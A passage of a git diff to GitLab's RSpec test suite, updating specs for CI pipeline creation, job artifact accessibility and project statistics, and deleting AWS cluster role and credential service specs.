paths: ['logs/'],
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
}
expect(pipeline).to be_persisted
@@ -134,7 +138,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
key: /\$ENV_VAR-default/,
paths: ['logs/'],
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
}
expect(pipeline).to be_persisted
diff --git a/spec/services/ci/create_pipeline_service/include_spec.rb b/spec/services/ci/create_pipeline_service/include_spec.rb
index 3764663fd74..f18b4883aaf 100644
--- a/spec/services/ci/create_pipeline_service/include_spec.rb
+++ b/spec/services/ci/create_pipeline_service/include_spec.rb
@@ -2,7 +2,10 @@
require 'spec_helper'
-RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectness do
+RSpec.describe Ci::CreatePipelineService,
+:yaml_processor_feature_flag_corectness, feature_category: :pipeline_authoring do
+ include RepoHelpers
+
context 'include:' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { project.first_owner }
@@ -16,14 +19,17 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
let(:file_location) { 'spec/fixtures/gitlab/ci/external_files/.gitlab-ci-template-1.yml' }
- before do
- allow(project.repository)
- .to receive(:blob_data_at).with(project.commit.id, '.gitlab-ci.yml')
- .and_return(config)
+ let(:project_files) do
+ {
+ '.gitlab-ci.yml' => config,
+ file_location => File.read(Rails.root.join(file_location))
+ }
+ end
- allow(project.repository)
- .to receive(:blob_data_at).with(project.commit.id, file_location)
- .and_return(File.read(Rails.root.join(file_location)))
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ example.run
+ end
end
shared_examples 'not including the file' do
diff --git a/spec/services/ci/create_pipeline_service/logger_spec.rb b/spec/services/ci/create_pipeline_service/logger_spec.rb
index ccb15bfa684..ecb24a61075 100644
--- a/spec/services/ci/create_pipeline_service/logger_spec.rb
+++ b/spec/services/ci/create_pipeline_service/logger_spec.rb
@@ -139,5 +139,74 @@ RSpec.describe Ci::CreatePipelineService, # rubocop: disable RSpec/FilePath
expect(pipeline).to be_created_successfully
end
end
+
+ describe 'pipeline includes count' do
+ before do
+ stub_const('Gitlab::Ci::Config::External::Context::MAX_INCLUDES', 2)
+ end
+
+ context 'when the includes count exceeds the maximum' do
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ allow(pipeline).to receive(:config_metadata)
+ .and_return({ includes: [{ file: 1 }, { file: 2 }, { file: 3 }] })
+ end
+ end
+
+ it 'creates a log entry' do
+ expect(Gitlab::AppJsonLogger)
+ .to receive(:info)
+ .with(a_hash_including({ 'pipeline_includes_count' => 3 }))
+ .and_call_original
+
+ expect(pipeline).to be_created_successfully
+ end
+ end
+
+ context 'when the includes count does not exceed the maximum' do
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ allow(pipeline).to receive(:config_metadata)
+ .and_return({ includes: [{ file: 1 }, { file: 2 }] })
+ end
+ end
+
+ it 'does not create a log entry but it collects the data' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+ expect(pipeline).to be_created_successfully
+
+ expect(service.logger.observations_hash)
+ .to match(a_hash_including({ 'pipeline_includes_count' => 2 }))
+ end
+ end
+
+ context 'when the includes data is nil' do
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ allow(pipeline).to receive(:config_metadata)
+ .and_return({})
+ end
+ end
+
+ it 'does not create a log entry' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+ expect(pipeline).to be_created_successfully
+ end
+ end
+
+ context 'when the pipeline config_metadata is nil' do
+ before do
+ allow_next_instance_of(Ci::Pipeline) do |pipeline|
+ allow(pipeline).to receive(:config_metadata)
+ .and_return(nil)
+ end
+ end
+
+ it 'does not create a log entry but it collects the data' do
+ expect(Gitlab::AppJsonLogger).not_to receive(:info)
+ expect(pipeline).to be_created_successfully
+ end
+ end
+ end
end
end
diff --git a/spec/services/ci/create_pipeline_service/rules_spec.rb b/spec/services/ci/create_pipeline_service/rules_spec.rb
index b866293393b..26bb8b7d006 100644
--- a/spec/services/ci/create_pipeline_service/rules_spec.rb
+++ b/spec/services/ci/create_pipeline_service/rules_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectness do
+RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectness, feature_category: :pipeline_authoring do
let(:project) { create(:project, :repository) }
let(:user) { project.first_owner }
let(:ref) { 'refs/heads/master' }
@@ -1166,7 +1166,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
let(:ref) { 'refs/heads/master' }
it 'invalidates the pipeline with an empty jobs error' do
- expect(pipeline.errors[:base]).to include('No stages / jobs for this pipeline.')
+ expect(pipeline.errors[:base]).to include('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
diff --git a/spec/services/ci/create_pipeline_service/variables_spec.rb b/spec/services/ci/create_pipeline_service/variables_spec.rb
index e9e0cf2c6e0..fd138bde656 100644
--- a/spec/services/ci/create_pipeline_service/variables_spec.rb
+++ b/spec/services/ci/create_pipeline_service/variables_spec.rb
@@ -60,27 +60,6 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
{ key: 'VAR8', value: "value 8 $CI_PIPELINE_ID", public: true, masked: false, raw: true }
)
end
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it 'creates the pipeline with a job that has all variables expanded' do
- expect(pipeline).to be_created_successfully
-
- expect(Ci::BuildRunnerPresenter.new(rspec).runner_variables).to include(
- { key: 'VAR1', value: "JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR2', value: "PIPELINEID-#{pipeline.id} and JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR3', value: "PIPELINEID-#{pipeline.id} and JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR4', value: "JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR5', value: "PIPELINEID-#{pipeline.id} and JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR6', value: "PIPELINEID-#{pipeline.id} and JOBID-#{rspec.id}", public: true, masked: false },
- { key: 'VAR7', value: "overridden value 7 #{pipeline.id}", public: true, masked: false },
- { key: 'VAR8', value: "value 8 #{pipeline.id}", public: true, masked: false }
- )
- end
- end
end
context 'when trigger variables have expand: true/false' do
@@ -109,22 +88,6 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
{ key: 'VAR3', value: "PIPELINEID-$CI_PIPELINE_ID and $VAR1", raw: true }
)
end
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it 'creates the pipeline with a job that has all variables expanded' do
- expect(pipeline).to be_created_successfully
-
- expect(child.downstream_variables).to include(
- { key: 'VAR1', value: "PROJECTID-#{project.id}" },
- { key: 'VAR2', value: "PIPELINEID-#{pipeline.id} and PROJECTID-$CI_PROJECT_ID" },
- { key: 'VAR3', value: "PIPELINEID-#{pipeline.id} and PROJECTID-$CI_PROJECT_ID" }
- )
- end
- end
end
end
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index 8628e95ba80..b0ba07ea295 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectness, :clean_gitlab_redis_cache do
+RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectness, :clean_gitlab_redis_cache, feature_category: :continuous_integration do
include ProjectForksHelper
let_it_be_with_refind(:project) { create(:project, :repository) }
@@ -684,7 +684,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
result = execute_service
expect(result).to be_error
- expect(result.message).to eq('No stages / jobs for this pipeline.')
+ expect(result.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(result.payload).not_to be_persisted
expect(Ci::Build.all).to be_empty
expect(Ci::Pipeline.count).to eq(0)
@@ -759,7 +760,7 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
stub_ci_pipeline_yaml_file(config)
end
- it 'creates the environment with tags' do
+ it 'creates the environment with tags', :sidekiq_inline do
result = execute_service.payload
expect(result).to be_persisted
@@ -862,7 +863,7 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
stub_ci_pipeline_yaml_file(YAML.dump(ci_yaml))
end
- it 'creates a pipeline with the environment' do
+ it 'creates a pipeline with the environment', :sidekiq_inline do
result = execute_service.payload
expect(result).to be_persisted
@@ -1311,9 +1312,10 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
}
end
- it 'has a job with environment' do
+ it 'has a job with environment', :sidekiq_inline do
expect(pipeline.builds.count).to eq(1)
expect(pipeline.builds.first.persisted_environment.name).to eq('review/master')
+ expect(pipeline.builds.first.persisted_environment.name).to eq('review/master')
expect(pipeline.builds.first.deployment).to be_created
end
end
@@ -1423,9 +1425,11 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
- expect(pipeline.errors[:base]).to eq(['No stages / jobs for this pipeline.'])
+ expect(pipeline.errors[:base]).to eq(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
@@ -1633,7 +1637,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
@@ -1669,7 +1674,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
@@ -1697,7 +1703,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
@@ -1727,7 +1734,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
@@ -1755,7 +1763,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
it 'does not create a detached merge request pipeline', :aggregate_failures do
expect(response).to be_error
- expect(response.message).to eq('No stages / jobs for this pipeline.')
+ expect(response.message).to eq('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
expect(pipeline).not_to be_persisted
end
end
diff --git a/spec/services/ci/job_artifacts/create_service_spec.rb b/spec/services/ci/job_artifacts/create_service_spec.rb
index 5df590a1b78..711002e28af 100644
--- a/spec/services/ci/job_artifacts/create_service_spec.rb
+++ b/spec/services/ci/job_artifacts/create_service_spec.rb
@@ -61,6 +61,49 @@ RSpec.describe Ci::JobArtifacts::CreateService do
expect(new_artifact.locked).to eq(job.pipeline.locked)
end
+ it 'sets accessibility level by default to public' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(1)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_public_accessibility
+ end
+
+ context 'when accessibility level passed as private' do
+ before do
+ params.merge!('accessibility' => 'private')
+ end
+
+ it 'sets accessibility level to private' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(1)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_private_accessibility
+ end
+ end
+
+ context 'when accessibility passed as public' do
+ before do
+ params.merge!('accessibility' => 'public')
+ end
+
+ it 'sets accessibility to public level' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(1)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_public_accessibility
+ end
+ end
+
+ context 'when accessibility passed as invalid value' do
+ before do
+ params.merge!('accessibility' => 'invalid_value')
+ end
+
+ it 'fails with argument error' do
+ expect { subject }.to raise_error(ArgumentError)
+ end
+ end
+
context 'when metadata file is also uploaded' do
let(:metadata_file) do
file_to_upload('spec/fixtures/ci_build_artifacts_metadata.gz', sha256: artifacts_sha256)
@@ -82,6 +125,39 @@ RSpec.describe Ci::JobArtifacts::CreateService do
expect(new_artifact.locked).to eq(job.pipeline.locked)
end
+ it 'sets accessibility by default to public' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(2)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_public_accessibility
+ end
+
+ context 'when accessibility level passed as private' do
+ before do
+ params.merge!('accessibility' => 'private')
+ end
+
+ it 'sets accessibility to private level' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(2)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_private_accessibility
+ end
+ end
+
+ context 'when accessibility passed as public' do
+ before do
+ params.merge!('accessibility' => 'public')
+ end
+
+ it 'sets accessibility level to public' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(2)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact).to be_public_accessibility
+ end
+ end
+
it 'sets expiration date according to application settings' do
expected_expire_at = 1.day.from_now
diff --git a/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
index 4f7663d7996..dd10c0df374 100644
--- a/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
+++ b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
@@ -87,12 +87,9 @@ RSpec.describe Ci::JobArtifacts::DestroyAllExpiredService, :clean_gitlab_redis_s
expect { subject }.to change { Ci::DeletedObject.count }.by(1)
end
- it 'resets project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact.project, :build_artifacts_size, -artifact.file.size)
- .and_call_original
-
- subject
+ it 'resets project statistics', :sidekiq_inline do
+ expect { subject }
+ .to change { artifact.project.statistics.reload.build_artifacts_size }.by(-artifact.file.size)
end
it 'does not remove the files' do
diff --git a/spec/services/ci/job_artifacts/destroy_associations_service_spec.rb b/spec/services/ci/job_artifacts/destroy_associations_service_spec.rb
index b1a4741851b..ca36c923dcf 100644
--- a/spec/services/ci/job_artifacts/destroy_associations_service_spec.rb
+++ b/spec/services/ci/job_artifacts/destroy_associations_service_spec.rb
@@ -3,23 +3,23 @@
require 'spec_helper'
RSpec.describe Ci::JobArtifacts::DestroyAssociationsService do
- let(:artifacts) { Ci::JobArtifact.all }
- let(:service) { described_class.new(artifacts) }
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
- let_it_be(:artifact, refind: true) do
- create(:ci_job_artifact)
- end
+ let_it_be(:artifact_1, refind: true) { create(:ci_job_artifact, :zip, project: project_1) }
+ let_it_be(:artifact_2, refind: true) { create(:ci_job_artifact, :zip, project: project_2) }
+ let_it_be(:artifact_3, refind: true) { create(:ci_job_artifact, :zip, project: project_1) }
- before do
- artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
- artifact.save!
- end
+ let(:artifacts) { Ci::JobArtifact.where(id: [artifact_1.id, artifact_2.id, artifact_3.id]) }
+ let(:service) { described_class.new(artifacts) }
describe '#destroy_records' do
it 'removes artifacts without updating statistics' do
- expect(ProjectStatistics).not_to receive(:increment_statistic)
+ expect_next_instance_of(Ci::JobArtifacts::DestroyBatchService) do |service|
+ expect(service).to receive(:execute).with(update_stats: false).and_call_original
+ end
- expect { service.destroy_records }.to change { Ci::JobArtifact.count }
+ expect { service.destroy_records }.to change { Ci::JobArtifact.count }.by(-3)
end
context 'when there are no artifacts' do
@@ -33,12 +33,21 @@ RSpec.describe Ci::JobArtifacts::DestroyAssociationsService do
describe '#update_statistics' do
before do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
service.destroy_records
end
it 'updates project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact.project, :build_artifacts_size, -artifact.file.size)
+ project1_increments = [
+ have_attributes(amount: -artifact_1.size, ref: artifact_1.id),
+ have_attributes(amount: -artifact_3.size, ref: artifact_3.id)
+ ]
+ project2_increments = [have_attributes(amount: -artifact_2.size, ref: artifact_2.id)]
+
+ expect(ProjectStatistics).to receive(:bulk_increment_statistic).once
+ .with(project_1, :build_artifacts_size, match_array(project1_increments))
+ expect(ProjectStatistics).to receive(:bulk_increment_statistic).once
+ .with(project_2, :build_artifacts_size, match_array(project2_increments))
service.update_statistics
end
diff --git a/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
index 79920dcb2c7..cde42783d8c 100644
--- a/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
+++ b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Ci::JobArtifacts::DestroyBatchService do
create(:ci_job_artifact, :trace, :expired)
end
- describe '.execute' do
+ describe '#execute' do
subject(:execute) { service.execute }
it 'creates a deleted object for artifact with attached file' do
@@ -207,44 +207,58 @@ RSpec.describe Ci::JobArtifacts::DestroyBatchService do
end
end
- context 'ProjectStatistics' do
- it 'resets project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact_with_file.project, :build_artifacts_size, -artifact_with_file.file.size)
- .and_call_original
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact_without_file.project, :build_artifacts_size, 0)
- .and_call_original
+ context 'ProjectStatistics', :sidekiq_inline do
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
+
+ let(:artifact_with_file) { create(:ci_job_artifact, :zip, project: project_1) }
+ let(:artifact_with_file_2) { create(:ci_job_artifact, :zip, project: project_1) }
+ let(:artifact_without_file) { create(:ci_job_artifact, project: project_2) }
+ let!(:artifacts) { Ci::JobArtifact.where(id: [artifact_with_file.id, artifact_without_file.id, artifact_with_file_2.id]) }
+
+ it 'updates project statistics by the relevant amount' do
+ expected_amount = -(artifact_with_file.size + artifact_with_file_2.size)
+
+ expect { execute }
+ .to change { project_1.statistics.reload.build_artifacts_size }.by(expected_amount)
+ .and change { project_2.statistics.reload.build_artifacts_size }.by(0)
+ end
+
+ it 'increments project statistics with artifact size as amount and job artifact id as ref' do
+ project_1_increments = [
+ have_attributes(amount: -artifact_with_file.size, ref: artifact_with_file.id),
+ have_attributes(amount: -artifact_with_file_2.file.size, ref: artifact_with_file_2.id)
+ ]
+ project_2_increments = [have_attributes(amount: 0, ref: artifact_without_file.id)]
+
+ expect(ProjectStatistics).to receive(:bulk_increment_statistic).with(project_1, :build_artifacts_size, match_array(project_1_increments))
+ expect(ProjectStatistics).to receive(:bulk_increment_statistic).with(project_2, :build_artifacts_size, match_array(project_2_increments))
execute
end
context 'with update_stats: false' do
- let_it_be(:extra_artifact_with_file) do
- create(:ci_job_artifact, :zip, project: artifact_with_file.project)
- end
-
- let(:artifacts) do
- Ci::JobArtifact.where(id: [artifact_with_file.id, extra_artifact_with_file.id,
- artifact_without_file.id, trace_artifact.id])
- end
+ subject(:execute) { service.execute(update_stats: false) }
it 'does not update project statistics' do
- expect(ProjectStatistics).not_to receive(:increment_statistic)
-
- service.execute(update_stats: false)
+ expect { execute }.not_to change { [project_1.statistics.reload.build_artifacts_size, project_2.statistics.reload.build_artifacts_size] }
end
- it 'returns size statistics' do
+ it 'returns statistic updates per project' do
+ project_1_updates = [
+ have_attributes(amount: -artifact_with_file.size, ref: artifact_with_file.id),
+ have_attributes(amount: -artifact_with_file_2.file.size, ref: artifact_with_file_2.id)
+ ]
+ project_2_updates = [have_attributes(amount: 0, ref: artifact_without_file.id)]
+
expected_updates = {
statistics_updates: {
- artifact_with_file.project => -(artifact_with_file.file.size + extra_artifact_with_file.file.size),
- artifact_without_file.project => 0
+ project_1 => match_array(project_1_updates),
+ project_2 => project_2_updates
}
}
- expect(service.execute(update_stats: false)).to match(
- a_hash_including(expected_updates))
+ expect(execute).to match(a_hash_including(expected_updates))
end
end
end
diff --git a/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb b/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
index 2f2af9f6c85..c1669e0424a 100644
--- a/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
+++ b/spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Ci::PipelineProcessing::AtomicProcessingService, feature_category: :continuous_integration do
+ include RepoHelpers
+
describe 'Pipeline Processing Service Tests With Yaml' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { project.first_owner }
@@ -956,17 +958,16 @@ RSpec.describe Ci::PipelineProcessing::AtomicProcessingService, feature_category
Ci::CreatePipelineService.new(project, user, { ref: 'master' }).execute(:push).payload
end
- before do
- allow_next_instance_of(Repository) do |repository|
- allow(repository)
- .to receive(:blob_data_at)
- .with(an_instance_of(String), '.gitlab-ci.yml')
- .and_return(parent_config)
-
- allow(repository)
- .to receive(:blob_data_at)
- .with(an_instance_of(String), '.child.yml')
- .and_return(child_config)
+ let(:project_files) do
+ {
+ '.gitlab-ci.yml' => parent_config,
+ '.child.yml' => child_config
+ }
+ end
+
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ example.run
end
end
diff --git a/spec/services/clusters/aws/authorize_role_service_spec.rb b/spec/services/clusters/aws/authorize_role_service_spec.rb
deleted file mode 100644
index 17bbc372675..00000000000
--- a/spec/services/clusters/aws/authorize_role_service_spec.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Aws::AuthorizeRoleService do
- subject { described_class.new(user, params: params).execute }
-
- let(:role) { create(:aws_role) }
- let(:user) { role.user }
- let(:credentials) { instance_double(Aws::Credentials) }
- let(:credentials_service) { instance_double(Clusters::Aws::FetchCredentialsService, execute: credentials) }
-
- let(:role_arn) { 'arn:my-role' }
- let(:region) { 'region' }
- let(:params) do
- params = ActionController::Parameters.new({
- cluster: {
- role_arn: role_arn,
- region: region
- }
- })
-
- params.require(:cluster).permit(:role_arn, :region)
- end
-
- before do
- allow(Clusters::Aws::FetchCredentialsService).to receive(:new)
- .with(instance_of(Aws::Role)).and_return(credentials_service)
- end
-
- context 'role exists' do
- it 'updates the existing Aws::Role record and returns a set of credentials' do
- expect(subject.status).to eq(:ok)
- expect(subject.body).to eq(credentials)
- expect(role.reload.role_arn).to eq(role_arn)
- end
- end
-
- context 'errors' do
- shared_examples 'bad request' do
- it 'returns an empty hash' do
- expect(subject.status).to eq(:unprocessable_entity)
- expect(subject.body).to eq({ message: message })
- end
-
- it 'logs the error' do
- expect(::Gitlab::ErrorTracking).to receive(:track_exception)
-
- subject
- end
- end
-
- context 'role does not exist' do
- let(:user) { create(:user) }
- let(:message) { 'Error: Unable to find AWS role for current user' }
-
- include_examples 'bad request'
- end
-
- context 'supplied ARN is invalid' do
- let(:role_arn) { 'invalid' }
- let(:message) { 'Validation failed: Role arn must be a valid Amazon Resource Name' }
-
- include_examples 'bad request'
- end
-
- context 'client errors' do
- before do
- allow(credentials_service).to receive(:execute).and_raise(error)
- end
-
- context 'error fetching credentials' do
- let(:error) { Aws::STS::Errors::ServiceError.new(nil, 'error message') }
- let(:message) { 'AWS service error: error message' }
-
- include_examples 'bad request'
- end
-
- context 'error in assuming role' do
- let(:raw_message) { "User foo is not authorized to perform: sts:AssumeRole on resource bar" }
- let(:error) { Aws::STS::Errors::AccessDenied.new(nil, raw_message) }
- let(:message) { "Access denied: #{raw_message}" }
-
- include_examples 'bad request'
- end
-
- context 'credentials not configured' do
- let(:error) { Aws::Errors::MissingCredentialsError.new('error message') }
- let(:message) { "Error: No AWS credentials were supplied" }
-
- include_examples 'bad request'
- end
-
- context 'role not configured' do
- let(:error) { Clusters::Aws::FetchCredentialsService::MissingRoleError.new('error message') }
- let(:message) { "Error: No AWS provision role found for user" }
-
- include_examples 'bad request'
- end
- end
- end
-end
diff --git a/spec/services/clusters/aws/fetch_credentials_service_spec.rb b/spec/services/clusters/aws/fetch_credentials_service_spec.rb
deleted file mode 100644
index 0358ca1f535..00000000000
--- a/spec/services/clusters/aws/fetch_credentials_service_spec.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Aws::FetchCredentialsService do
- describe '#execute' do
- let(:user) { create(:user) }
- let(:provider) { create(:cluster_provider_aws, region: 'ap-southeast-2') }
-
- let(:gitlab_access_key_id) { 'gitlab-access-key-id' }
- let(:gitlab_secret_access_key) { 'gitlab-secret-access-key' }
-
- let(:gitlab_credentials) { Aws::Credentials.new(gitlab_access_key_id, gitlab_secret_access_key) }
- let(:sts_client) { Aws::STS::Client.new(credentials: gitlab_credentials, region: region) }
- let(:assumed_role) { instance_double(Aws::AssumeRoleCredentials, credentials: assumed_role_credentials) }
-
- let(:assumed_role_credentials) { double }
-
- subject { described_class.new(provision_role, provider: provider).execute }
-
- context 'provision role is configured' do
- let(:provision_role) { create(:aws_role, user: user, region: 'custom-region') }
-
- before do
- stub_application_setting(eks_access_key_id: gitlab_access_key_id)
- stub_application_setting(eks_secret_access_key: gitlab_secret_access_key)
-
- expect(Aws::Credentials).to receive(:new)
- .with(gitlab_access_key_id, gitlab_secret_access_key)
- .and_return(gitlab_credentials)
-
- expect(Aws::STS::Client).to receive(:new)
- .with(credentials: gitlab_credentials, region: region)
- .and_return(sts_client)
-
- expect(Aws::AssumeRoleCredentials).to receive(:new)
- .with(
- client: sts_client,
- role_arn: provision_role.role_arn,
- role_session_name: session_name,
- external_id: provision_role.role_external_id,
- policy: session_policy
- ).and_return(assumed_role)
- end
-
- context 'provider is specified' do
- let(:region) { provider.region }
- let(:session_name) { "gitlab-eks-cluster-#{provider.cluster_id}-user-#{user.id}" }
- let(:session_policy) { nil }
-
- it { is_expected.to eq assumed_role_credentials }
- end
-
- context 'provider is not specifed' do
- let(:provider) { nil }
- let(:region) { provision_role.region }
- let(:session_name) { "gitlab-eks-autofill-user-#{user.id}" }
- let(:session_policy) { 'policy-document' }
-
- subject { described_class.new(provision_role, provider: provider).execute }
-
- before do
- stub_file_read(Rails.root.join('vendor', 'aws', 'iam', 'eks_cluster_read_only_policy.json'), content: session_policy)
- end
-
- it { is_expected.to eq assumed_role_credentials }
-
- context 'region is not specifed' do
- let(:region) { Clusters::Providers::Aws::DEFAULT_REGION }
- let(:provision_role) { create(:aws_role, user: user, region: nil) }
-
- it { is_expected.to eq assumed_role_credentials }
- end
- end
- end
-
- context 'provision role is not configured' do
- let(:provision_role) { nil }
-
- it 'raises an error' do
- expect { subject }.to raise_error(described_class::MissingRoleError, 'AWS provisioning role not configured')
- end
- end
-
- context 'with an instance profile attached to an IAM role' do
- let(:sts_client) { Aws::STS::Client.new(region: region, stub_responses: true) }
- let(:provision_role) { create(:aws_role, user: user, region: 'custom-region') }
-
- before do
- stub_application_setting(eks_access_key_id: nil)
- stub_application_setting(eks_secret_access_key: nil)
-
- expect(Aws::STS::Client).to receive(:new)
- .with(region: region)
- .and_return(sts_client)
-
- expect(Aws::AssumeRoleCredentials).to receive(:new)
- .with(
- client: sts_client,
- role_arn: provision_role.role_arn,
- role_session_name: session_name,
- external_id: provision_role.role_external_id,
- policy: session_policy
- ).and_call_original
- end
-
- context 'provider is specified' do
- let(:region) { provider.region }
- let(:session_name) { "gitlab-eks-cluster-#{provider.cluster_id}-user-#{user.id}" }
- let(:session_policy) { nil }
-
- it 'returns credentials', :aggregate_failures do
- expect(subject.access_key_id).to be_present
- expect(subject.secret_access_key).to be_present
- expect(subject.session_token).to be_present
- end
- end
-
- context 'provider is not specifed' do
- let(:provider) { nil }
- let(:region) { provision_role.region }
- let(:session_name) { "gitlab-eks-autofill-user-#{user.id}" }
- let(:session_policy) { 'policy-document' }
-
- before do
- stub_file_read(Rails.root.join('vendor', 'aws', 'iam', 'eks_cluster_read_only_policy.json'), content: session_policy)
- end
-
- subject { described_class.new(provision_role, provider: provider).execute }
-
- it 'returns credentials', :aggregate_failures do
- expect(subject.access_key_id).to be_present
- expect(subject.secret_access_key).to be_present
